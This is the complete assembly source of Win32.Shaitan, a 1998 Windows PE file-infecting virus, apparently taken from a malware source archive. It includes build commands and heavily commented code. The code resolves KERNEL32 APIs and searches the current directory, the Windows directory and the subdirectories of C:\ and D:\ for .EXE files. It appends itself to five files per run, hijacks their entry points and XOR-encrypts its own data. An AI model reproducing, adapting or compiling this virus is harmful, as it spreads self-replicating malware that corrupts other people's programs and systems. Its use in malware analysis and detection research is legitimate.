MalwareSourceCode/Win32/Infector/Win32.Shaitan.asm
2020-10-16 23:26:21 +02:00

924 lines
46 KiB
NASM

;----------------------------------------------------------------------------
; Win32.Shaitan (C)opyright 1998 The Shaitan [SLAM]
;
;
; Win32.Shaitan is a non-resident infector of Windows 9x/NT/32s Portable
; Executable (PE) files.
;
;
; Description
; -----------
; When a file infected by Win32.Shaitan is executed, the virus looks up
; the current process' Import table for the address of GetModuleHandle API
; function. If located, the API function will be called to retrieve the base
; address of KERNEL32.DLL. Otherwise, a hard-coded address (0xbff70000)
; will be assumed. Next, using this address, the virus scans the Export Table
; of KERNEL32.DLL for the address of the GetProcAddress API function. Finally
; using this function the virus obtains addresses of all other API functions
; it needs (e.g CreateFileA, FindFirstFileA etc). The virus searches for and
; infects files in the following order:
; - Current Directory
; - Windows base directory
; - Directories in C:\
; - Directories in D:\ (after checking whether it's a CDROM drive)
; The file encrypts its data using a simple xor operation with 0xFF as key.
; Files are infected by appending the virus to the last section in the file
; and increasing its size. The virus uses memory-mapped files to improve
; performance. Infected files will grow by about 3k.
;
; Umm, that's about all folks! This is my first Win32 virus, so if something
; doesnt work, well... maybe next time :) The code is heavily commented, so
; it should be easy enough to follow (if you can't... dont ask me, i can't
; really follow it either! ;)
;
; Disclaimer
; ----------
; THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD
; RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE
; THE SAME.
;
; To compile, use:
; ----------------
; tasm32 /ml /m5 shaitan.asm
; tlink32 /c /Tpe /aa shaitan.obj, shaitan.exe, ,c:\tasm\lib\import32.lib
; pewrsec shaitan.exe
;
;----------------------------------------------------------------------------
.386p
.model flat
;----------------------------------------------------------------------------
; Some equates to make our code more readable :)
;----------------------------------------------------------------------------
L equ
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
GENERIC_READ_WRITE equ GENERIC_READ or GENERIC_WRITE
OPEN_EXISTING equ 00000003h
FILE_SHARE_READ equ 00000001h
FILE_ATTRIBUTE_NORMAL equ 00000080h
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
PAGE_READWRITE equ 00000004h
PAGE_WRITECOPY equ 00000008h
FILE_MAP_WRITE equ 00000002h
FILE_BEGIN equ 00000000h
DRIVE_CDROM equ 00000005h
MAX_INFECT equ 00000005h ; Max. files to infect
; at one go...
FILETIME struc
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
WIN32_FIND_DATA struc
dwFileAttributes dd ?
ftCreationTime FILETIME ?
ftLastAccessTime FILETIME ?
ftLastWriteTime FILETIME ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName db 260 dup (?)
cAlternateFileName db 14 dup (?)
WIN32_FIND_DATA ends
code_len equ v_end - v_start
;----------------------------------------------------------------------------
; Functions imported by Generation-1 -
;----------------------------------------------------------------------------
extrn GetModuleHandleA:PROC
extrn ExitProcess:PROC
;----------------------------------------------------------------------------
; Some dummy data for Generation-1 -
;----------------------------------------------------------------------------
.data
dummy_data db "SLAM Roqs!"
;----------------------------------------------------------------------------
; CODE section -
;----------------------------------------------------------------------------
.code
v_start:
db 0b8h ; mov eax,xxxx where xxxx
rva_eip dd 1000h ; is RVA of EIP (patched at
; infection time)
call get_delta ; Call next instruction
get_delta:
pop ebp ; Pop out address from stack
mov ebx,ebp ; Save it in EBX
sub ebp,offset get_delta ; EBP = Delta pointer!
sub ebx,eax ; Deduct RVA of EIP
sub ebx,0Ah ; EBX = Base address of module
push ebx ; Not really required, but...
call crypt ; Decrypt virus data
pop ebx ; Get saved EBX back
mov [module_base+ebp],ebx ; Save module base
mov [kernel32+ebp],0bff70000h ; Umm... Default address
; of KERNEL32.DLL (?)
; Now we try to retrieve the address of GetModuleHandleA from the current
; process's Import table...
get_GMHA:
mov esi,[module_base+ebp] ; ESI = Base address of process.
cmp word ptr [esi],'ZM' ; Is the base correctly assumed?.
jne get_GPA ; No. Quit...
xor eax,eax ; EAX = 0
mov ax, word ptr [esi+3ch] ; Get RVA of PE header.
cmp ax,0 ; No pointer to PE offset?
je get_GPA ; No. Can't continue...
mov esi,eax ; ESI = RVA of PE offset
add esi,[module_base+ebp] ; Convert RVA to VA.
cmp word ptr [esi],'EP' ; Is the PE header there?.
jne get_GPA ; Nope. Quit...
mov esi,[esi+80h] ; RVA of .idata section
add esi,[module_base+ebp] ; ESI = Start of .idata section
; Now, find the IMAGE_IMPORT_DESCRIPTOR for KERNEL32.DLL imports
mov eax,esi ; EAX = Start of .idata
find_ik32:
mov esi,eax ; ESI = First/next IMPORT_DESCRIPTOR.
mov esi,[esi+0ch] ; RVA of imported module ASCIIZ string
add esi,[module_base+ebp] ; RVA >> VA
cmp [esi],'NREK' ; IMPORT_DESCRIPTOR for K32?
je ik32_found ; Yes, we found it!
add eax,14h ; EAX = Next IMPORT_DESCRIPTOR.
jmp find_ik32 ; Loop till found...
ik32_found:
mov esi,eax ; ESI = K32 IMPORT_DESCRIPTOR.
mov ebx,[esi+10h] ; Get RVA of IMAGE_THUNK_DATA array.
add ebx,[module_base+ebp] ; RVA >> VA.
cmp dword ptr [esi],0 ; NULL "OriginalFirstThunk" field?
je get_GPA ; Yes, No hint-name table then :(
mov esi,[esi] ; Pointer to pointer!
add esi,[module_base+ebp] ; RVA >> VA
mov edx,esi ;
xor eax,eax ; Init EAX (for use as an index).
iAPI_loop:
cmp dword ptr [edx],0 ; No more RVAs?
je get_GPA ; Yes. Jump...
cmp byte ptr [edx+3],80h ; Ordinal?
je inc_ndx ; Yes. Skip...
mov esi,[edx] ; " " " " "
add esi,[module_base+ebp] ; " " " " "
add esi,2 ; ESI = Start of ASCIIZ API name.
mov ecx,GMH_string_len ; ECX = Length of string (API name).
mov edi,offset GMH_string ; EDI = String to compare with.
add edi,ebp ;
compare:
repe cmpsb ; Compare the 2 strings...
cmp ecx,0 ; Match found?
je API_found ; Yes! Jump...
inc_ndx:
inc eax ; No. Increment our index.
add edx,4 ;
jmp iAPI_loop ; Continue looping...
API_found:
shl eax,2 ; Multiply by 4.
; We had saved VA of IMAGE_THUNK_DATA array in EBX. Remember?
add eax,ebx ; Point to corresponding element.
mov eax,[eax] ; EAX = API call address
mov ebx,offset k32_string ; Offset of "KERNEL32.DLL" string
add ebx,ebp ; Adjust with delta
push ebp ; Save our delta pointer
push ebx ; Push parameter on the stack
call eax ; Call GetModuleHandleA
pop ebp ; Restore our delta pointer
mov [kernel32+ebp],eax ; Save address of KERNEL32.DLL
get_GPA:
mov esi,[kernel32+ebp] ; Point ESI to K32 base address
cmp word ptr [esi],'ZM' ; Is K32 really there?
jne quit ; Nope. Bail out now!
xor eax,eax ; EAX = 0
mov ax,word ptr [esi+3ch] ; Get RVA of PE header pointer.
cmp ax,0 ; No pointer to PE offset?
je quit ; No. Can't continue...
mov esi,eax ; ESI = RVA of PE offset
add esi,[kernel32+ebp] ; Convert RVA to VA.
cmp word ptr [esi],'EP' ; Is the PE header there?
jne quit ; Naw. Cannot continue...
mov eax,[esi+78h] ; PE hdr offset 78h points to .edata.
add eax,[kernel32+ebp] ; Convert RVA to VA.
xchg eax,esi ; Put VA back into ESI.
mov eax,[esi+14h] ; Get # of functions exported by K32
mov [NumberOfFunctions+ebp],eax ; Save.
mov eax,[esi+1ch] ; RVA of table of exported function
; addresses.
add eax,[kernel32+ebp] ; Convert RVA to VA.
mov [AddressOfFunctions+ebp],eax ; Save.
mov eax,[esi+20h] ; RVA of table containing API name
; strings.
add eax,[kernel32+ebp] ; Convert RVA to VA.
mov [AddressOfNames+ebp],eax ; Save.
mov eax,[esi+24h] ; RVA of table of export ordinals of
; all functions exported by name.
add eax,[kernel32+ebp] ; Convert RVA to VA.
mov [AddressOfOrdinals+ebp],eax ; Save.
xor eax,eax ; EAX = 0.
mov ebx,[NumberOfFunctions+ebp] ; Use EBX as a counter.
apisearch_loop:
mov esi,offset GPA_string ; API function to search for...
add esi,ebp ; Adjust with delta pointer...
mov ecx,GPA_string_len ; Length of API function name string.
mov edi,[AddressOfNames+ebp]; Point to start of table containing
add edi,eax ; API function name strings...
mov edi,[edi] ; " " " " "
add edi,[kernel32+ebp] ; " " " " "
cld ; Clear direction flag.
repe cmpsb ; Compare the two strings.
cmp ecx,0 ; Exact match found?.
je match ; Yes! Jump...
dec ebx ; Decrement our counter.
cmp ebx,0 ; Have we gone thru entire table?.
je quit ; Yes. API not found! Bail out...
add eax,4 ; No. Lets compare the next string.
jmp apisearch_loop ; Continue looping...
match:
shr eax,1 ; Divide by 2 (array is of WORDs).
add eax,[AddressOfOrdinals+ebp] ; Point to relevant element in array.
xor ebx,ebx ; EBX = 0.
mov bx,word ptr [eax] ; Get our index into AddressOfFuncs.
shl ebx,2 ; Multiply by 4 (array is of DWORDs).
add ebx,[AddressOfFunctions+ebp]; Point to relevant element in array.
mov eax,[ebx] ; EAX = RVA of API function address.
add eax,[kernel32+ebp] ; EAX = Address of API function!!!
mov [_GetProcAddress+ebp],eax ; Save address...
; Now we retrieve the addresses of all API functions that we'll be using...
Get_API_addresses:
mov edi,offset API_strings ; Point to ASCIIZ string table
add edi,ebp ; Adjust with delta pointer...
APIaddress_loop:
push edi ; Save offset of ASCIIZ API name
push edi ; Push onto stack for API call
call GetAPIAddress ; Retrieve address of API function
pop edi ; Restore address of ASCIIZ string
push eax ; Save address of API function
xor eax,eax ; EAX = 0
repne scasb ; Search for end of string
pop eax ; Restore address of API function
mov [edi],eax ; Save it...
add edi,4 ; Point to next ASCIIZ API string
cmp [edi],'SLAM' ; Was that the last string?
jne APIaddress_loop ; No. Loop till done...
push ebp ; Save delta pointer
mov eax,offset start_dir ; Buffer to store directory name
add eax,ebp ; Adjust with delta pointer
push eax ; Push parameter on stack
push L 128 ; Length of dirname buffer
mov eax,[_GetCurrentDirectory+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
call InfectCurrentDirectory ; Infect files in starting directory
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
je restore_start_dir ; Yes. Quit...
push ebp ; Save delta
push L 128 ; Length of dir buffer
mov eax,offset win_dir ; Location of dir buffer
add eax,ebp ; Adjust...
push eax ; Push location of buffer
mov eax,[_GetWindowsDirectory+ebp] ; API to call
call eax ; Call API function
pop ebp ; Restore delta
mov eax,offset win_dir ; EAX = ASCIIZ windows dir name
add eax,ebp ; Adjust...
call SetDir ; Change directory to windows dir
call InfectCurrentDirectory ; Infect files in it...
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
je restore_start_dir ; Yes. Quit...
mov eax,offset root_dir_c ; Infect all dirs in C:\
add eax,ebp ; Adjust...
call Search&InfectDirs ; Infect...
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
je restore_start_dir ; Yes. Quit...
push ebp ; Save delta
mov eax,offset root_dir_d ; ASCIIZ D:\
add eax,ebp ; Adjust with delta
push eax ; Push onto stack
mov eax,[_GetDriveType+ebp] ; API function to call
call eax ; Call API
pop ebp ; Restore delta
cmp eax,DRIVE_CDROM ; Is this a CDROM drive?
je restore_start_dir ; Yes. Do not try to infect!
cmp eax,0 ; Drive type undeterminable?
je restore_start_dir ; Yes. Let's play it safe...
mov eax,offset root_dir_d ; Infect all dirs in D:\
add eax,ebp ; Adjust...
call Search&InfectDirs ; Infect...
restore_start_dir:
mov eax,offset start_dir ; Name of starting directory
add eax,ebp ; Adjust...
call SetDir ; Set directory back to start dir
quit:
push ebp ; Save delta pointer
mov eax,[_GetCommandLine+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
mov edi,eax ; EDI = Address of cmdline
inc edi ; Inc by one (skip the ")
mov ecx,80h ; Search upto 80h bytes
mov eax,'"' ; Search for "
cmp byte ptr [edi-1],'"' ; Was the first byte a " ?
je find_end_cmdline ; Yes. Continue...
mov eax,' ' ; No. Look for a space then
find_end_cmdline:
repne scasb ; Search for end of string
cmp dword ptr [edi-12],'IAHS' ; G-1? ("SHAITAN.EXE")
je g1_quit ; Yup. Exit normally...
jump_to_host:
mov eax,[module_base+ebp] ; Get module's base address
add eax,[ori_ip+ebp] ; Add original EIP to it
push eax ; Remember .COM infection? :)
ret ; Jump to the original EIP!
g1_quit:
xor eax,eax ; EAX = 0 = Return value
push eax ; Push parameter on stack
call ExitProcess ; Call API to quit
;----------------------------------------------------------------------------
; GetAPIAddress - Calls GetProcAddress to retrieve address of API function
; pointed to by EDI.
;
; Return value: EAX = Address of API function
;----------------------------------------------------------------------------
GetAPIAddress:
push ebp ; Save our delta pointer
push edi ; EAX = ASCIIZ API string
mov eax,[kernel32+ebp] ; KERNEL32 base address
push eax ; " " " "
mov eax,[_GetProcAddress+ebp] ; Address of API to call
call eax ; Call API function
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; SetDir - Sets current directory to string pointed to by EAX
;----------------------------------------------------------------------------
SetDir:
push ebp ; Save delta pointer
push eax ; Push parameter on stack
mov eax,[_SetCurrentDirectory+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; InfectFile - Infects filename specified in "testfile" variable
;
; Return value: On success >> 1
; On failure >> 0
;----------------------------------------------------------------------------
InfectFile:
mov [infect_status+ebp],0 ; Init. flag
push ebp ; Save delta
push [testfile+ebp] ; ASCIIZ filename
mov eax,[_GetFileAttributes+ebp] ; API to call
call eax ; Retrieve original attributes
pop ebp ; Restore delta
cmp eax,0ffffffffh ; Failure?
je infect_end ; Yes. Cannot continue...
mov [ori_attrib+ebp],eax ; Save original attributes
push ebp ; Save delta
push FILE_ATTRIBUTE_NORMAL ; Remove all attributes
push [testfile+ebp] ; ASCIIZ filename
mov eax,[_SetFileAttributes+ebp] ; API to call
call eax ; Remove read-only etc attrib
pop ebp ; Restore delta
cmp eax,0 ; Failure?
je infect_end ; Yes. Cannot continue...
open_file:
push ebp ; Save delta pointer
push L 0 ; Template file (?)
push FILE_ATTRIBUTE_NORMAL ; Attribute of file
push OPEN_EXISTING ; Open an existing file
push L 0 ; Security Attributes
push FILE_SHARE_READ ; Share mode
push GENERIC_READ_WRITE ; Access mode
push [testfile+ebp] ; ASCIIZ Filename
mov eax,[_CreateFileA+ebp] ; Address of API call
call eax ; Call API to open file
pop ebp ; Restore delta pointer
cmp eax,0FFFFFFFFh ; File open failed?
je infect_end ; Yes. Cannot proceed...
mov [file_handle+ebp],eax ; Save file handle
create_file_map:
add [new_filesize+ebp],code_len + 400h ; Inc. by this many bytes
push ebp ; Save delta pointer
push L 0 ; Name of mapping object
push [new_filesize+ebp] ; Max size of mapping object
push L 0 ; " " " "
push PAGE_READWRITE ; Read/Write access
push L 0 ; Security attributes
push [file_handle+ebp] ; Handle of file to map
mov eax,[_CreateFileMappingA+ebp] ; Address of API call
call eax ; Call API to map file
pop ebp ; Restore delta pointer
cmp eax,0 ; File mapping failed?
je close_file ; Yes. Cannot proceed...
mov [map_handle+ebp],eax ; Save mapping object handle
create_map_view:
push ebp ; Save delta pointer
push [new_filesize+ebp] ; No. of bytes to map
push L 0 ; File offset (low)
push L 0 ; File offset (high)
push FILE_MAP_WRITE ; Read/Write access
push [map_handle+ebp] ; Handle to mapping object
mov eax,[_MapViewOfFile+ebp] ; Address of API call
call eax ; Create a map file view
pop ebp ; Restore delta pointer
cmp eax,0 ; Couldn't create map file view?
je close_map ; Yes. Cannot proceed...
mov [view_address+ebp],eax ; Address of map view
fun_stuff:
mov eax,[ori_ip+ebp] ; Get original EIP of host
mov [temp_ip+ebp],eax ; Save it in a temp. variable
mov esi,[view_address+ebp] ; Get address of map view
cmp word ptr [esi],'ZM' ; Is it an EXE file?
jne close_view ; No. Cannot proceed...
cmp word ptr [esi+12h],'SW' ; Already infected?
je close_view ; Yes. Quit...
mov word ptr [esi+12h],'SW' ; Otherwise mark as infected
xor eax,eax ; EAX = 0
mov ax,word ptr [esi+3ch] ; Get pointer to PE header
cmp ax,0 ; No pointer to PE offset?
je close_view ; No. Jump...
cmp eax,[adj_filesize+ebp] ; Compare with actual filesize
jae close_view ; Greater? (Happened once!)
mov esi,eax ; ESI = RVA of PE ofset
add esi,[view_address+ebp] ; Convert to VA
cmp word ptr [esi],'EP' ; Is the PE header present?
jne close_view ; No. Cannot proceed...
mov [PE_hdr+ebp],esi ; Save VA of PE header
; Now ESI contains address of PE header...
mov eax,[esi+28h] ; Get original entry point RVA
mov [ori_ip+ebp],eax ; Save it...
mov eax,[esi+3ch] ; Get file align value
mov [file_align+ebp],eax ; Save it...
mov ebx,[esi+74h] ; # of entries in IMG_DATA_DIR
shl ebx,3 ; Multiply by 8
xor eax,eax ; EAX = 0
mov ax,word ptr [esi+6h] ; No. of sections in file
dec eax ; Decrease by one
mov ecx,28h ; Size of IMAGE_SECTION_HDR
mul ecx ; Multiply...
add esi,78h ; ESI = Addr. of IMG_DATA_DIR
add esi,ebx ; ESI = Addr. of section table
add esi,eax ; ESI = Addr. of last entry
; Now ESI is pointing to last entry in section table (usually .reloc)
; Modify the section characteristics flags... (+CEW)
or dword ptr [esi+24h],00000020h ; Section now contains CODE
or dword ptr [esi+24h],20000000h ; Section is now EXECUTABLE
or dword ptr [esi+24h],80000000h ; Section is now WRITEABLE
mov eax,[esi+10h] ; Get SizeOfRawdata
mov [ori_size_of_rawdata+ebp],eax ; Save it...
add dword ptr [esi+8h],code_len ; Inc size of VirtualSize
mov eax,[esi+8h] ; Get new size in EAX
mov ecx,[file_align+ebp] ; ECX = File alignment
div ecx ; Get remainder in EDX
mov ecx,[file_align+ebp] ; ECX = File alignment
sub ecx,edx ; No. of bytes to pad...
mov [esi+10h],ecx ; " " " "
mov eax,[esi+8h] ; Get current VirtualSize
add eax,[esi+10h] ; EAX = SizeOfRawdata padded
mov [esi+10h],eax ; Set new SizeOfRawdata
mov [size_of_rawdata+ebp],eax ; Also, save it...
mov eax,[esi+0ch] ; Get VirtualAddress
add eax,[esi+8h] ; Add VirtualSize
sub eax,code_len ; Deduct size of virus
mov [new_ip+ebp],eax ; EAX = New EIP! Save it...
mov [rva_eip+ebp],eax ; Patch...
mov eax,[ori_size_of_rawdata+ebp] ; Original SizeOfRawdata
mov ebx,[size_of_rawdata+ebp] ; New SizeOfRawdata
sub ebx,eax ; Increase in size
mov [inc_size_of_rawdata+ebp],ebx ; Save increase value...
mov eax,[esi+14h] ; File offset of sec's rawdata
add eax,[size_of_rawdata+ebp] ; Add size of new rawdata
mov [new_filesize+ebp],eax ; EAX = New filesize! Save...
mov [adj_filesize+ebp],eax ;
mov eax,[esi+14h] ; File offset of sec's rawdata
add eax,[esi+8h] ; Add VirtualSize of section
sub eax,code_len ; Deduct virus length from it
add eax,[view_address+ebp] ; RVA >> VA (sorta)
; Now EAX points to offset where we'll append the virus code...
push eax ; Save EAX
mov byte ptr [key+ebp],0ffh ; Set encryption key to 0xFF
call crypt ; Encrypt Vx data
pop eax ; Restore EAX
mov edi,eax ; Location to copy to...
mov esi,offset v_start ; Location to copy from...
add esi,ebp ; Adjust with delta pointer
mov ecx,code_len ; No. of bytes to copy
rep movsb ; Copy all the bytes!
call crypt ; Decrypt Vx data
mov esi,[PE_hdr+ebp] ; ESI = Addr. of PE header
mov eax,[new_ip+ebp] ; Get value of new EIP in EAX
mov [esi+28h],eax ; Write it to the PE header
mov eax,[inc_size_of_rawdata+ebp] ; Get inc. size of last section
add [esi+50h],eax ; Add it to SizeOfImage
mov eax,[temp_ip+ebp] ; Get our saved host EIP
mov [ori_ip+ebp],eax ; Restore...
mov [infect_status+ebp],1 ; Successful infection!
close_view:
push ebp ; Save delta pointer
push [view_address+ebp] ; Push view address on stack
mov eax,[_UnmapViewOfFile+ebp] ; API to call
call eax ; Call API to close view
pop ebp ; Restore delta pointer
close_map:
push ebp ; Save delta pointer
push [map_handle+ebp] ; Handle of mapping object
mov eax,[_CloseHandle+ebp] ; Address of API call
call eax ; Close mapping object
pop ebp ; Restore delta pointer
close_file:
truncate_file:
push ebp ; Save delta pointer
push FILE_BEGIN ; Move from start of file
push L 0 ; Distance to move (high)
push [adj_filesize+ebp] ; " " " "
push [file_handle+ebp] ; Handle of file
mov eax,[_SetFilePointer+ebp] ; API function to call
call eax ; Call API
pop ebp ; Restore delta pointer
cmp eax,0ffffffffh ; Seek failed?
je final_close ; Yes. Jump...
push ebp ; Save delta pointer
push [file_handle+ebp] ; Handle of file to truncate
mov eax,[_SetEndOfFile+ebp] ; API to call
call eax ; Call API to truncate file
pop ebp ; Restore delta pointer
; Now close the file...
final_close:
push ebp ; Save delta pointer
push [file_handle+ebp] ; Handle of file to close
mov eax,[_CloseHandle+ebp] ; Address of API call
call eax ; Call API to close file
pop ebp ; Restore delta pointer
restore_attrib:
push ebp ; Save delta
push [ori_attrib+ebp] ; Original attributes
push [testfile+ebp] ; ASCIIZ filename
mov eax,[_SetFileAttributes+ebp] ; API to call
call eax ; Restore original attributes
pop ebp ; Restore delta
infect_end:
mov eax,[infect_status+ebp] ; Success/Failure flag
ret ; Return to caller
;----------------------------------------------------------------------------
; InfectCurrentDirectory - Infects upto 5 files in current directory
;----------------------------------------------------------------------------
InfectCurrentDirectory:
find_file:
push ebp ; Save delta pointer
mov eax,offset wfd_icd ; Returned "FileFind" info
add eax,ebp ; Adjust with delta...
push eax ; Push it onto the stack
mov eax,offset file_match ; Search for "*.EXE"
add eax,ebp ; Adjust with delta...
push eax ; Push it onto the stack
mov eax,[_FindFirstFileA+ebp] ; <<<
call eax ; Call API to search for file
pop ebp ; Restore delta pointer
cmp eax,0ffffffffh ; No match found?
je icd_end ; No. Cannot proceed...
mov [icd_search_handle+ebp],eax ; Save search handle
mov eax,offset wfd_icd.cFileName ; Get filename of match file
add eax,ebp ; Adjust with delta...
mov [testfile+ebp],eax ; Save pointer to it...
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
jne icd_findnext ; Way to big for us!
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
mov [adj_filesize+ebp],eax ; Save it
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
call InfectFile ; Infect file "testfile"
cmp eax,0 ; Successful?
je icd_findnext ; No. Search for next file...
inc [infect_counter+ebp] ; Yes. Increment counter
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
je close_file_handle ; Yes. Don't infect any more
icd_findnext:
push ebp ; Save delta pointer
mov eax,offset wfd_icd ; Offset of WFD structure
add eax,ebp ; Adjust with delta pointer
push eax ; Push up the stack
push [icd_search_handle+ebp] ; Push search handle too
mov eax,[_FindNextFileA+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
cmp eax,L 0 ; No match found?
je close_file_handle ; No. Cannot proceed...
mov eax,offset wfd_icd.cFileName ; Get filename of match file
add eax,ebp ; Adjust with delta...
mov [testfile+ebp],eax ; Save pointer to it...
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
jne icd_findnext ; Way too big! Next...
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
mov [adj_filesize+ebp],eax ; Save it
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
call InfectFile ; Infect file "testfile"
cmp eax,0 ; Successful?
je icd_findnext ; No. Search for next file...
inc [infect_counter+ebp] ; Yes. Increment counter
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
jne icd_findnext ; No. Search next...
close_file_handle:
push ebp ; Save delta
mov eax,[icd_search_handle+ebp] ; Handle of search
push eax ; Push it onto stack
mov eax,[_FindClose+ebp] ; Get address of API to call
call eax ; Call API
pop ebp ; Restore delta
icd_end:
ret
;----------------------------------------------------------------------------
; Search&InfectDirs -
;----------------------------------------------------------------------------
Search&InfectDirs:
call SetDir ; Change to directory in EAX
cmp eax,0 ; Failure?
je sid_end ; Yeah. Quit...
push ebp ; Save delta
mov eax,offset wfd_dir ; Address of struct to hold find-data
add eax,ebp ; Adjust with delta
push eax ; Push onto stack
mov eax,offset dir_match ; File pattern to search for...
push eax ; Push onto stack
mov eax,[_FindFirstFileA+ebp]; API to call
call eax ; Call API
pop ebp ; Restore delta
cmp eax,0ffffffffh ; No match???
je sid_end ; Yes. Can't continue...
mov [dir_search_handle+ebp],eax ; Save search handle
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
jne sid_next_dir ; Not a directory, serch for next...
mov eax,offset wfd_dir.cFileName; Name of found directory
add eax,ebp ; Adjust with delta
call SetDir ; Change to that directory
call InfectCurrentDirectory ; Infect files there
mov eax,offset dot_dot ; Move one directory down (..)
add eax,ebp ; Adjust with delta
call SetDir ; Change to that directory
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
je close_dir_handle ; Yes. Don't continue...
sid_next_dir:
push ebp ; Save delta
mov eax,offset wfd_dir ; Find-data structure
add eax,ebp ; Adjust with delta
push eax ; Push onto stack
push [dir_search_handle+ebp] ; Push search handle too
mov eax,[_FindNextFileA+ebp] ; API to call
call eax ; Call API
pop ebp ; Restore delta
cmp eax,L 0 ; No more dirs?
je close_dir_handle ; No. Exit...
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
jne sid_next_dir ; Not a directory. Search again...
mov eax,offset wfd_dir.cFileName; Name of found directory
add eax,ebp ; Adjust
call SetDir ; Change to found directory
call InfectCurrentDirectory ; Infect files in directory
mov eax,offset dot_dot ; Move back one directory
add eax,ebp ; Adjust...
call SetDir ; Change to that directory
cmp [infect_counter+ebp],MAX_INFECT ; Max # of files infected?
je close_dir_handle ; Yes. Don't continue...
jmp sid_next_dir ; Loop...
close_dir_handle:
push ebp ; Save delta
mov eax,[dir_search_handle+ebp] ; Handle of search
push eax ; Push it onto stack
mov eax,[_FindClose+ebp] ; Get address of API to call
call eax ; Call API
pop ebp ; Restore delta
sid_end:
ret ; Return to caller
;----------------------------------------------------------------------------
; Crypt - En/Decrypts vx data
;----------------------------------------------------------------------------
crypt:
mov esi,offset crypt_start ; Start of data to en/decrypt
add esi,ebp ; Adjust with delta
mov ah,byte ptr [key+ebp] ; Retrieve encryption key
mov ecx,crypt_end - crypt_start ; No. of bytes to encrypt
crypt_loop:
xor byte ptr [esi],ah ; Encrypt one byte
inc esi ; Point to next byte to encrypt
loop crypt_loop ; Loop till done...
ret ; Return to caller
;----------------------------------------------------------------------------
; Virus data -
;----------------------------------------------------------------------------
crypt_start:
testfile dd ?
file_handle dd ?
map_handle dd ?
view_address dd ?
file_match db "*.EXE",0
dir_match db "*.*",0
wfd_icd WIN32_FIND_DATA ?
wfd_dir WIN32_FIND_DATA ?
adj_filesize dd ?
new_filesize dd ?
PE_hdr dd ?
ori_ip dd ?
new_ip dd ?
temp_ip dd ?
file_align dd ?
ori_size_of_rawdata dd ?
size_of_rawdata dd ?
inc_size_of_rawdata dd ?
module_base dd ?
infect_status dd ?
infect_counter dd ?
icd_search_handle dd ?
dir_search_handle dd ?
start_dir db 128 dup (0)
win_dir db 128 dup (0)
root_dir_c db "C:\",0
root_dir_d db "D:\",0
dot_dot db "..",0
ori_attrib dd ?
NumberOfFunctions dd ?
AddressOfFunctions dd ?
AddressOfNames dd ?
AddressOfOrdinals dd ?
GPA_string db "GetProcAddress",0
GPA_string_len equ $ - offset GPA_string
_GetProcAddress dd ?
GMH_string db "GetModuleHandleA",0
GMH_string_len equ $ - offset GMH_string
; ASCIIZ strings of all API functions we need. The DWORDs following the API
; names will store their respective addresses...
API_strings:
CF_string db "CreateFileA",0
_CreateFileA dd ?
CFM_string db "CreateFileMappingA",0
_CreateFileMappingA dd ?
MVOF_string db "MapViewOfFile",0
_MapViewOfFile dd ?
CH_string db "CloseHandle",0
_CloseHandle dd ?
FFF_string db "FindFirstFileA",0
_FindFirstFileA dd ?
FNF_string db "FindNextFileA",0
_FindNextFileA dd ?
FC_string db "FindClose",0
_FindClose dd ?
SFP_string db "SetFilePointer",0
_SetFilePointer dd ?
SEOF_string db "SetEndOfFile",0
_SetEndOfFile dd ?
GCD_string db "GetCurrentDirectoryA",0
_GetCurrentDirectory dd ?
SCD_string db "SetCurrentDirectoryA",0
_SetCurrentDirectory dd ?
GWD_string db "GetWindowsDirectoryA",0
_GetWindowsDirectory dd ?
GCL_string db "GetCommandLineA",0
_GetCommandLine dd ?
UVOF_string db "UnmapViewOfFile",0
_UnmapViewOfFile dd ?
GFA_string db "GetFileAttributesA",0
_GetFileAttributes dd ?
SFA_string db "SetFileAttributesA",0
_SetFileAttributes dd ?
GDT_string db "GetDriveTypeA",0
_GetDriveType dd ?
NoMoreAPI_string dd 'SLAM'
k32_string db "KERNEL32.DLL",0
kernel32 dd ?
; Take credit for writing all this stuff :) ...
copyright db "Win32.Shaitan (c) 1998 The Shaitan [SLAM]",0
; Now do a Dark Avenger impersonation :P
dav_string db "This virus was written in the city of Mumbai",0
crypt_end:
key db 0
v_end:
ends
end v_start